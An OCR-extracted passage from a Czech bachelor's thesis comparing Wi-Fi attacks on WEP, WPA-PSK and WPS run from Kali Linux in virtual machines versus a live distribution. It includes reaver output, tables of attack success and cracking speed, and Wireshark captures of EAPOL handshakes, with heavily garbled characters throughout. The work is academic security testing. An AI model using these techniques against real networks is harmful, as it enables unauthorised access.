[+] AP SSID: ’jupiter’

Z vypisu je jasné vidét PIN kod daného AP a také piistupové heslo pro
WPA-Personal autentizaci, které je v AP nastaveno. Jelikoz autentizace po-
moci PIN koédu slouzi k automatické konfiguraci WPA zabezpeceni, tedy i k
zadani spravného prihlasovaciho hesla.

Jako priklad spusténi programu reaver na AP, které nepodporuje WPS
ukazuje nasledujici vypis, kdy program neni schopny navazat potfebné spojeni
pro vyménu PIN kodi:

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from 10:FE:ED:D2:D3:1A

[+] Switching monO to channel 11
[!'] WARNING: Failed to associate with 10:FE:ED:D2:D3:1A (ESSID: merkur)
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7.5 Shrnuti penetrac¢niho testovani

Ukazany byly utoky na WEP, WPA a WPS zabezpeceni a to, jak prakticky
vyuzivaji nedostatkt v jednotlivych zabezpecenich.

Pro WEP a WPS zabezpeceni neexistuje zadné nejlepsi feSeni, protoze
uspéch ¢i netspéch utoku zéavisi na pfistupovém bodé, ktery chceme napad-
nout. Vyjimkou je trpélivé odposlouchavani ramcii pro WEP zabezpeceni, kte-
ré se miize casové protahnout. I tak se nedoporucuje vyuzivat WEP zabezpece-
ni a vypinat WPS metodu, protoze bez poradného testovani neni mozné urdit,
zda je AP napadnutelné ¢ nikoli.

Co se tyce utoku na WPA-Personal (PSK) zabezpeceni, ten funguje velice
spolehlivé, pokud pouzivany adaptér umoznuje vkladat ramce do sité. Vsech-
na testované zafizeni (MikroTIK RouterBOARD, chytry telefon Samsung a
LapTop s bezdratovou kartou Intel) byla tspésné odpojena od sité, pro vy-
nuceni nové 4-cestné vymeény. I tak ztustava WPA-Personal nejlepsi volbou ze
vSech testovanych zabezpeceni, pii pouziti dostatec¢né silného hesla.

Pristupové heslo nemusi byt nijak dlouhé, kdy i minimalnich 8 znakt mtize
byt dostatecnych, pokud heslo neni napadnutelné slovnikovym ttokem. Brute-
force ttok se totiz ¢asto nepouzivé, kdyz prolomeni 8 znakového hesla z malych
pismen a ¢isel by trvalo 8451 dnt (23 let), na mnou pouZitém poéitaci (po¢itano
z po¢tu kombinaci a primérné rychlosti testovani kli¢a).

Existuji moznosti nechat si zachyceny 4-Way Handshake rozlustit velmi
vykonnymi servery na internetu, ale tato moznost je placena. Vétsina takovych
sluzeb pouziva predpripravené slovniky se stovkami miliéoni kombinaci, takze
ani tam se nejedné o pravy brute-force utok, a tak nalezeni hesla nemusi byt
aspésné.

7.6 Porovnani virtualizac¢nich metod

Funkénost jednotlivych krokii potfebnych k provedeni titokt byla ovéfena ve
virtudlnim prostfedi a Live Distribuci. Pro dalsi porovnani obou virtualizéra
a Live Distribuce byly pouzity dva testy:

e Pocet zachycenych ramci pro WEB zabezpeceni s 104 b kli¢em.

e Rychlost rozlusténi WPA-Personal piistupového hesla.

7.6.1 Ovéfeni funkénosti atoki

Vs8echny potiebné kroky pro popsané atoky byly testovany ve virtualnim pro-
stfedi a nasledné v Live Distribuci. Nésleduji tab. [16|zobrazuje jednotlivé kro-
ky, které jsou soucasti atoki a to zda byly provedeny tspésné nebo nikoli.
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Typ testu Virtuélni Live
prostiedi | Distribuce

Zachytavani ramct (obecné) ano ano
Falesna autentizace ano ano
Vkladani ARP ramcu ne ano
ChopChop ttok ne ne
Odpojeni klienta ano ano

PIN kod utok ano ano
Hledani hesla/klice ano ano

Tabulka 16: Uspésné provedeni ttoku

7 tabulky je vidét, ze ChopChop ttok nebyl tspésny ani v jednom testova-
ném prostiedi. Na viné je nespoluprace testovaného pristupového bodu, ktery
zahazoval vSechny pozménéné ramce a znemoznil porovnat obé testované me-
tody.

Jedinym rozdilem z pohledu dtokt je netspésné vkladani ramci ve virtu-
alnim prostiedi, zatimco Live Distribuce uspéla. Oba dva testy probéhly pii
kompletné stejném nastaveni testované sité, véetné stejné MAC adresy pro
falesnou autentizaci.

7.6.2 Odchytavani ramct

Pro zachytévani IV ramcu bylo pouzito dvou RouterBOARDu od spolecnosti
MikroTIK, které si mezi sebou vyménovali ramce za pouziti funkce Bandwidth
Test, ktery konstantné odesilal 85 ramci jednou stranou a pfijimal 2 potvrzo-
vaci ramce od protéjsi strany za vtefinu, s odchylkou v rozmezi 2 odeslanych
ramct za 10 vtefin. Po spusténi vymény ramct byl teprve spustén program
airodump-ng na zachytavani rameua.

Vgechny testy byly zastaveny, kdyz airodump-ng oznamil dobu od spusténi
2 minuty (¢as se aktualizuje po 4 vtefinach). ProtoZe program musel byt za-
staven rucné, tak predpoklddana odchylka mezi méfenimi je v rdmci 1 vtefiny.

7 vyse zminénych hodnot lze vypocitat celkovy pocet prenasenych ramci
béhem testu, ktery byl vypocten nésledovné:

(85 + 2) * 120 = 10440 (1)

’ Typ spusténi Kali Linux \ Beacon ramce \ IV (data) ramce ‘

WMware Player 1169 9336
Oracle VirtualBox 1173 8919
Live Distribuce 1165 10395

Tabulka 17: Poc¢ty zachycenych ramct

Z naméfenych hodnot (viz. tab. vyplyva jako nejlepsi varianta pouziti
Live Distribuce, ktera zachytila témét vsechny ramce. Pficemz pocet zachyce-
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nych IV ramcu se nachézi na pocitané odchylce. Oba virtualizéry na tom byly
o poznani hure lepsi variantou je vsak VMware Player.

Na pocet zachycenych Beacon rdmct se nehledi, ale je na nich vidét, ze
vSechny testy trvaly stejné dlouho dobu.

7.6.3 Vyuziti vykonu

Pro testovani spravného vyuziti dostupného vykonu byl spustén program aircrack-
ng pii pokusu o nalezeni pristupového hesla z souboru one-01.cap, ktery obsa-
huje tspésnou 4-cestnou vymeénu.

K testu byl pouzit mnou vytvoreny slovnik EN dictionary all.txt s 8,910,680
hesly. Spravné heslo se nachézi na 8,203,741 pozici. Testy byly spustény na
vSech osmi vldknech, které podporuje mnou pouzity procesor Intel Core i7-

3632QM.

’ Typ spusténi Kali Linux ‘ Vysledny cas ‘ Pocet testt za vterinu ‘

WMware Player 37:39 3631
Oracle VirtualBox 41:35 3288
Live Distribuce 36:36 3735

Tabulka 18: Doba pro nalezeni piistupového hesla WPA zabezpeceni

Z naméfenych hodnot (viz tab. opét vychazi nejlépe Live Distribuce. Z
obou virtualizéri je na tom daleko 1épe VMware Player, ktery alespon ¢astec¢né
dokazal vyuzit funkce HyperThreading, kterou procesory Intel Core i7 nabizeji.
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ZAvér

Hlavnim cilem této bakalaiské prace bylo provadéni ttoku na bezpe¢nostni
standardy IEEE 802.11 s vyuzitim opera¢niho systému Kali Linux ve virtual-
nich prosttedich, s ucelem ovéfit, zda je viibec mozné provadét utoky z virtu-
alniho prostredi a jaké mé vyhody ¢ nevyhody oproti standardnimu pouziti
Live Distribuce.

V teoretické Casti prace seznamuji ¢tenafe s nékolika obecnymi procesy,
které plati pro vSechny bezdratové sité. Podrobnéji jsou poté popsany auten-
tizaéni mechanismy pro WEP, WPA a WPS zabezpeceni, které se staraji o
pripojovani novych klienti. Dale jsou popsana slabéd mista pouzivanych pro-
cest, kterd jsou vyuzivana utoky v praktické casti.

Na zacatku praktické ¢asti ¢tenaftim predstavuji pozdé&ji pouzivané pro-
gramy a potfebné vybaveni, které je nasledné pouzito pro ttoky na slabiny
v zabezpeceni se zamérem ziskat pristup k testované siti. VSechny potiebné
kroky jsou radné popsany a doplnény o nazorné ukazky.

V préci jsem otestoval nejpouzivanéjsi utoky na WEP a WPA zabezpeceni,
které byly doplnény ttokem na protokol WPS. Vsechny tutoky byly provadény
nékolikrat v obou variantach spusténi opera¢niho systému pro ovéreni spravné
funkcnosti ¢i selhéni utoku.

7 testovani vyplynulo, Ze je mozné tspésné provadét vétsinu utoku i ve vir-
tualnim prostiedi. VSechny potiebné kroky pro ziskani sdileného WEP klice,
pristupového hesla WPA-PSK zabezpeceni a WPS PIN koédu funguji sprav-
né. Nicméné pomocné utoky pro rychlejsi ziskani potfebnych ramci nemusi
spravné fungovat z riznych divodi. V mnou testovaném prostiredi odmitl pri-
stupovy bod reagovat na vkladané ramce do sité pii pouziti virtuélniho pro-
stfedi, zatimco na ramce z Live Distribuce reagoval o¢ekdvanym zptisobem a
tim urychlil sbér ramct, které jsou pouzity k ziskani klice.

Vyuziti virtualniho prostiedi miize pfindset do celého procesu utoku dal-
$1 negativni vlivy. Z testt vyplynulo, Ze virtualizovany operacni systém neni
schopen zachytit stejny pocet ramct jako Live Distribuce. Dalsi nevyhodou
je to, ze neni mozné vyuzit celkovy potencial pocitace, na kterém je operacni
systém virtualizovan a tim prodlouzit potfebnou dobu na prolomeni hesla nebo
klice.

Nejlepsi metodou pro provadéni dtoki je vyuziti standardniho spusténi
opera¢niho systému v Live Distribuci. Pokud nam nevadi mozné komplikace u
pomocnych titoki a o néco horsi vlastnosti, tak pouziti virtualniho prostredi
je moznou alternativou.
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Prilohy
Wireshark

Zachycenda 4-cestna vyména ramci EAPOL pii uspésné autentizaci do sité
WPA-Personal (PSK).
[ o[ x]

goodhandshake.cap [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10)]

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
Bl l@xeaesraFeBE sl @EE= 8

Filter: v |Expression... Clear Apply

No. ‘ Time ‘ Source ‘ Destination ‘ Protocol | Lengtl | Info

141 Beacon frame, SN=3194, FN=0, Flags=

Broadcast

0.000000000 Routerbo_lb:aZ:bc

1

2 4.

3 4.485884000 Routerbo_31:2b:2e Routerbo_1lb:a2:be EAPOL 153 Key (Message 2 of 4)
4 4.486910000 Routerbo_lb:aZ:bc Routerbo_31:2b:2e EAPOL 187 Key (Message 3 of 4)
5 4.491518000 Routerbo_31:2b:2e Routerbo_1lb:a2:be EAPOL 131 Key (Message 4 of 4)

Version: 802.1X-2001 (1)

Type: Key (3)

Length: 117

Key Descriptor Type: EAPOL RSN Key (2)
+ Key Information: 0x008a

Key Length: 16

Replay Counter: 1

WPA Key Monce: afd76cd6a3foeschobdo2f2141471f4812dobdbSd1bof3es. ..

Key IV:

WPA Key RSC: 0000000000000000

WPA Key ID: 0000000000000000

WPA Key MIC:

WPA Key Data Length: 22
+ WPA Key Data: dd14000fac04b0816556ce75a06dbs45f 76114916511
2b 2e 00 Oc 42 1b a2 be
aa aa 03 00 00 00 88 8e
10 00 0O OO OO 0O OO0 0O

c6 0b do 2f 21 41 47 1f
eB8 74 b8 16 2a 4a 89 57

Profile: Default

0000 08 02 3¢ 00 00 Oc 42 31
0010 00 Oc 42 1b a2 bc 70 cb
0020 01 03 00 75 02 00 8a 00
0020 01 af d7 6¢c d6 a3 fo e6
0040 48 12 d9 bd b5 d1 bo f3

QO ® File: "goodhandshake.cap” 1019 by... ...

Obr. 1: Prvni EAPOL ramec tspésné 4-cestné vymeény

[ _ o [x]

goodhandshake.cap [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10)]

File Edit View Go Capture Analyze Statistics Telephony Tools Intermals Help
BillelxClaes»+FE[EFE oo #EB= 8
Filter: v | Expression.. Clear Apply
No. Time Source Destination Protocol | Lengtl | Info
1 0.000000000 Routerbo_lb:a2:be Broadcast B802.11 141 Beacon frame, SN=3184, FN=0, Flags=........ , E
Routerbo_31:2b:2e EAPOL 153 Key (Message 1 of 4)

2 4.470016000 Routerbo_lb:a2:bc
3 4.48588. 2
4 4.486910000 Routerbo_lb:a2:bc
5 4.491516000 Routerbo_31:2b:2e

EAPCL
EAPOL
EAFOL

Routerbo_1
Routerbo_31:2b:2e
Routerbeo_lb:a2:bc

1
187 Key (Message 3 of 4)
131 Key (Message 4 of 4)

Version: 802.1X-2001 (1)
Type: Key (3)
Length: 117
Key Descriptor Type: EAPOL RSN Key (2)
+ Key Information: 0x010a
Key Length: ©
Replay Counter: 1
WPA Key Monce: 01b332dSh3a89949396f 1f652d04378d37bc12a%2800ec79. . .
Key IV:
WPA Key RSC: 0000000000000000
WPA Key ID: 0000000O0QOCOO00
WPA Key MIC: 82428d7d70571ef57404d1512237be11
WPA Key Data Length: 22
¥ WPA Key Data: 30140100000fac040100000f ac040100000f ac020000

0000 0% Ol 3c 00 00 Oc 42 1lb
0010 00 Oc 42 1b a2 be 10 &b
0020 01 03 00 75 02 01 Qa GO
0030 0l Ol b3 3e dS b3 a8 99
0040 8d 37 bc 12 a9 8 00 ec

a2 bc 00 Oc 42 31 2b 2e
aa aa 03 00 00 OO 88 Be
00 00 00 00 00 00 00 00
49 39 6f 1f 65 2d 04 37
79 7d 47 c8 b8 46 8b 05

QM File: "goodhandshake.cap” 1019 by... ‘...

Profile: Default

Obr. 2: Druhy EAPOL ramec tispésné 4-cestné vymény
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goodhandshake.cap [Wireshark 1.10.2 (SVN Rev 51934 from ftrunk-1.10)] Hl:ilj

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

) = o7
eeiam i e xeaes»AFeEE el EEED @
Filter: v |Expression.. Clear Apply Save
| | | | | |
No. Time Source Destination Protocol | Lengtl | Info
1 0.000000000 Routerbo_lb:aZ:be Broadcast B802.11 141 Beacon frame, SN=3184, FN=0, Flags=........ , B
2 4.470016000 Routerbo_lb:a2:bc Routerbo_31:2b:2e EAPOL 153 Key (Message 1 of 4)
3 4.485884000 Routerbo_3 Routerbo_lb:a2:be EAPOL 153 Key (Message 2 of 4)
4
s Routerbo_lb:az: 131 Key (Message 4 of 4)

Version: 802.1X-2001 (1)
Type: Key (3)
Length: 151
Key Descriptor Type: EAPOL RSN Key (2)
+ Key Information: Ox13ca
Key Length: 16
Replay Counter: 2
WPA Key Monce: afd76cdéa3foe6ca0bdoz2f2141471f4812dshdbsd1bofzes. ..
Key IV:
WPA Key RSC: 0000000000000000
WPA Key ID: 00C0C00000C00C00
WPA Key MIC: eS420096b83cad599276181559c54121
WPA Key Data Length: 56
WPA Key Data: 93f71dea7267233c5b563d8a6c3338374121bd25301 ag6bs. . .

0000 05 02 3c 00 00 Oc 42 31 2b 2e 00 Oc 42 1b a2 he ..=<...
0010 00 Oc 42 1b a2 bc 83 cb aa aa 03 00 00 00 88 Be  ..B.
0020 01 03 00 97 02 13 ca 00 10 00 00 00 00 00 00 QO
0030 02 af d7 6¢c d5 a3 fg e6 c6 0Ob do 2f 21 41 47 1f
0040 45 12 d9 bd bS d1 bs f3 e8 74 bg 16 2a 4a 83 57

O M File: "goodnandshake.cap” 1019 by... ... Profile: Default

Obr. 3: Treti EAPOL ramec tspésné 4-cestné vymeény

LB |

goodhandshake.cap [Wireshark 1.10.2 (SVN Rev 51934 from ftrunk-1.10)]

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

= 7 -

e@im @ xeaes+ T2 EE oLl @D

Filter: v | Expression... Clear Apply Save
| | | | | |

No. Time Source Destination Protocol | Lengtl | Info
1 0.000000000 Routerbo_lb:aZ:bc Broadcast 802.11 141 Beacon frame, SN=3124, FN=0, Flags=. . E
2 4.470018000 Routerbo_lb:a2:be Routerbo_31:2b:2e EAPOL 153 Key (Message 1 of 4)

3 4.485884000 Routerbo_31:2b:2e Routerbo_lb:a2:bc EAPOL 153 Key (Message 2 of 4)
4 4.486910000 Routerbo_lb:a2:bc Routerbo_31:2b: EAPOL 187 Key (Message 3 of 4

Routerbo

~ BO2.1X Authentication

Version: 802.1X-2001 (1)

Type: Key (3)

Length: 95

Key Descriptor Type: EAPOL RSN Key (2)
Key Information: 0x030a

Key Length: ©

Replay Counter: 2

WPA Key Nonce: 01b33edSh3a89949396f 1f652d04378d37bc12a9e800ec79. . .
Key IV:
WPA Key RSC: 00000C0000000000

WPA Key ID: 0000000O0QOCOO00

WPA Key MIC: f91c4a85166c41020c2bcb778b6aas31
WPA Key Data Length: ©

0000 08 Ol 3c 00 00 Oc 42 1b a2 bc 00 Oc 42 31 2b Ze
0010 00 Oc 42 1b a2 be 20 8b aa aa 03 00 00 00 88 8e
0020 0l 03 00 5f 02 03 Ga 00 GO0 00 00 00 00 00 00 00

0030 02 01 b3 3e dS b3 a8 99 49 39 6f 1f 65 2d 04 37
0040 2d 37 bc 12 a9 e8 00 ec 79 7d 47 c2 b8 46 8b 05

O ® File: "goodhandshake.cap” 1019 by... :... - Profile: Default

Obr. 4: étvrty EAPOL ramec tspésné 4-cestné vymeény

¥

. I90.e-.7
. ¥}G..F..
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Zachycenda 4-cestnd vymeéna ramci EAPOL pri netspésné autentizaci do
sité WPA-Personal (PSK).

badhandshake.cap [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10})]

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

@@adamil st caesa2Fs B8 oA @®

Filter: v | Expression... Clear Apply

No. ‘ Time I Source ‘ Destination ‘ Protocol ‘ Lengtl I Info |
1 0.000000000 Routerbo_lb:a2:be Broadcast B802.11 A
2 6. EAPOL 1
3 6.647676000 Routerbo_31:2b:2e Routerbo_lb:a2:be EAPOL 153 Key (Message 2 of 4)
4 7.622080000 Routerbo_lb:a2:bc Routerbo_31:2b:2e EAPOL 153 Key (Message 1 of 4)
5 7.627712000 Routerbo_31:2b:2e Routerbo_lb:a2ibc EAPOL 153 Key (Message 2 of 4)
6 8.625152000 Routerbo lb:a2:bc Routerbo 31:2b:2e EAPOL 153 Key (Message 1 of 4)

Version: 802.1X-2001 (1)
Type: Key (3)
Length: 117
Key Descriptor Type: EAPOL RSN Key (2)

+ Key Information: Ox008a
Key Length: 16
Replay Counter: 1
WPA Key Monce: afd76cdéa3foe6ca0bdoz2f2141471f4812dshdbsd1bofzes. ..
Key IV:
WPA Key RSC: 0000000000000000
WPA Key ID: 00DOOROOROOREODO
WPA Key MIC:
WPA Key Data Length: 22

T WPA Key Data: dd14800fac@4lcblc2bas7ffe0346546e93bds3591 20

0000 08 02 3c 00 00 Oc 42 31 2b Ze 00 Oc 42 1b a2 bc
0010 00 Oc 42 1b a2 bc bo 33 aa aa 03 00 00 00 88 8e
0020 01 03 00 75 02 00 8a 00 10 00 00 Q0 00 QO 00 QO
0020 01 af d7 6¢c d5 a3 fo e6 c6 Ob do 2f 21 41 47 1f
0040 48 12 d9 bd bs d1 bg f3 8 74 b8 16 2a 4a 89 57

Q® File: "badhandshake.cap” 5897 byt... ... Profile; Default

Obr. 5: Prvni EAPOL ramec netspésné 4-cestné vymény

badhandshake.cap [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10)] [~ o[ x|

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

7 — R/ -

e@im i @xeaes»2+F2EE ol @PE= @

Filter: v | Expression.. Clear Apply Save

No. Time Source Destination Protocol | Lengtl | Info |
1 0.000000000 Routerbo_lb:a2:be Broadcast 802.11 141 Beacon frame, SN=747, FN=0, Flags=........ A
2 £.631808000 Routerbo_lb:aZ:bc Routerbo_31:2b:2e EAPOL 153 Key (Message 1 of 4)
=) Gl K (Me: 2 of
4 7.622080000 Routerbo_lb:aZ:bc Routerbo_31:2b:2e EAPOL 153 Key (Message 1 of 4)
5 7.627712000 Routerbo_31:2b:2e Routerbo_1lb:a2:be EAPOL 153 Key (Message 2 of 4)
6 8.625152000 Routerbo lb:aZ:bc Routerbo 31:2h:2e EAPOL 153 Key (Message 1 of 4)

Version: 802.1X-2001 (1]
Type: Key (3)
Length: 117
Key Descriptor Type: EAPOL RSM Key (2]
+ Key Information: 0x0l0a
Key Length: O
Replay Counter: 1
WPA Key Nonce: 01b33eds5h3a89949396f 11652d04378d37be 122980079, . .
Key IV:
WPA Key RSC: 0000000000000000
WPA Key ID: 0000000000000000
WPA Key MIC: 732024129c¢38da9881841bsbage2d7ec
WPA Key Data Length: 22
+ WPA Key Data: 30140100000fac040100000f ac040100000f ac020000
0000 0% Ol 3c 00 00 Oc 42 1b a2 bc 00 Oc 42 31 2b 2e
0010 00 Oc 42 1b a2 bc 90 12 aa aa 03 00 00 00 88 8e
0020 01 03 00 75 02 Ol Oa OO0 0O 0O OO OO OO OO 0O 0O

0030 01 01 b3 3e d5 b3 a8 99 49 39 6f 1f 65 2d 04 37
0040 8d 37 bc 12 29 e8 00 ec 79 7d 47 c8 b8 46 &b 05

O ® File: "badhandshake.cap” 5897 byt... "... " Profile: Default

Obr. 6: Druhy EAPOL ramec netspésné 4-cestné vymeény
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badhandshake.cap [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10)] H.Ei“

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

B e xelaer+F2 R oA @ME= 8

I
Filter: v | Expression... Clear Apply Save
| | | | | |
No. Time Source Destination Protocol | Lengtl | Info |
1 0.000000000 Routerbo_lb :be Broadcast 802.11 141 Beacon frame, SN=747, FM=0, Flags=........ L b
2 5.631808000 Routerbo_lb:aZ:be Routerbo_31:2b:2e EAPOL 153 Key (Message 1 of 4)
3 6.647676000 Routerbo_3 e Routerbo_1l c EAPOL 153 Key (Message 2 of 4)

S 7.627712000 Routerbo_3 Routerbo_1| 153 Key (Message 2 of 4
6 £.625152000 Routerbo 1lb:aZ:bc Routerbo 31:2b:2e EAPOL 153 Key (Message 1 of 4)

Versilon: 802.1X-2001 (1)
Type: Key (3)
Length: 117
Key Descriptor Type: EAPOL RSN Key (2)

+ Key Information: Ox008a
Key Length: 16
Replay Counter: 2
WPA Key Nonce: afd76cd6a3fSesc60bdo2f2141471f4812dobdbSd1baf3es. ..
Key IV:
WPA Key RSC: 00000000000000C0
WPA Key ID: 0QO00000000000000
WPA Key MIC:
WPA Key Data Length: 22

+ WPA Key Data: ddl14000fac@4lchlc2bas7ff60346546e93bds35912e

d6 a3 fo 6 ob do 2f

8 !
bd bS dl bg f3 e8 74 b 16
O® Frame (frame), 153 bytes ... Profile: Default

Obr. 7: Treti EAPOL ramec netspésné 4-cestné vymény

badhandshake.cap [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10)] ' [o x|

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

Bl el aerrFT2FE ol @Ml 8

f
Filter: ~ | Expression... Clear Apply Save
| | | | | |
No. Time Source Destination Protocol | Lengtl | Info |
1 0.000000000 Routerbo_lb:a2:bc Broadcast 802.11 141 Beacon frame, SN=747, FN=0, Flags=........ . b
2 6.631803000 Routerbo_lb:aZ:bc Routerbo_31:2b:ze EAPOL 153 Key (Message 1 of 4)

3 6.647676000 Routerbo_31:2b:2e Routerbo_lb:a2:bc EAPOL 153 Key (Message 2 of 4)
4 7.622080000 Routerbo_1b: o) EAPOL 153 Key (Message 1 of 4

6 8.625152000 Routerbo 1b:a2:bc Routerbo 31:2b:2e EAPOL 153 Key (Message 1 of 4]

Version: 802.1X-2001 (1]
Type: Key (3)
Length: 117
Key Descriptor Type: EAPOL RSN Key (2)
+ Key Informaticn: 0x010a
Key Length: 0
Replay Counter: 2
WPA Key Nonce: 0lb33edSh3a899493961 11652d04378d37bc 12292800278, . .
Key IV:
WPA Key RSC: 0000000000000000
WPA Key ID: 0000000000000000
WPA Key MIC: 5d4d71e09d3be24sb2cb73b785d0862b
WPA Key Data Length: 22
+ WPA Key Data: 30140100000fac040100000f ac040100000f ac020000

0000 08 01 3c 00 00 Oc 42 1b a2 be 00 Oc 42 31 2b 2e
0010 00 Oc 42 1b a2 bc a0 12 aa aa 03 00 00 00 85 Se
0020 01 03 00 75 02 01 0a 00 00 00 00 00 00 00 00 0O
0020 02 01 b3 3e d5 b3 a8 99 49 38 &f 1f 65 2d 04 37
0040 8d 37 bc 12 a9 e8 00 ec 79 7d 47 c8 b8 45 8b 05

O® File: "badhandshake.cap” 5897 byt... ... Profile: Default

Obr. 8: Ctvrty EAPOL ramec netsp&iné 4-cestné vymény
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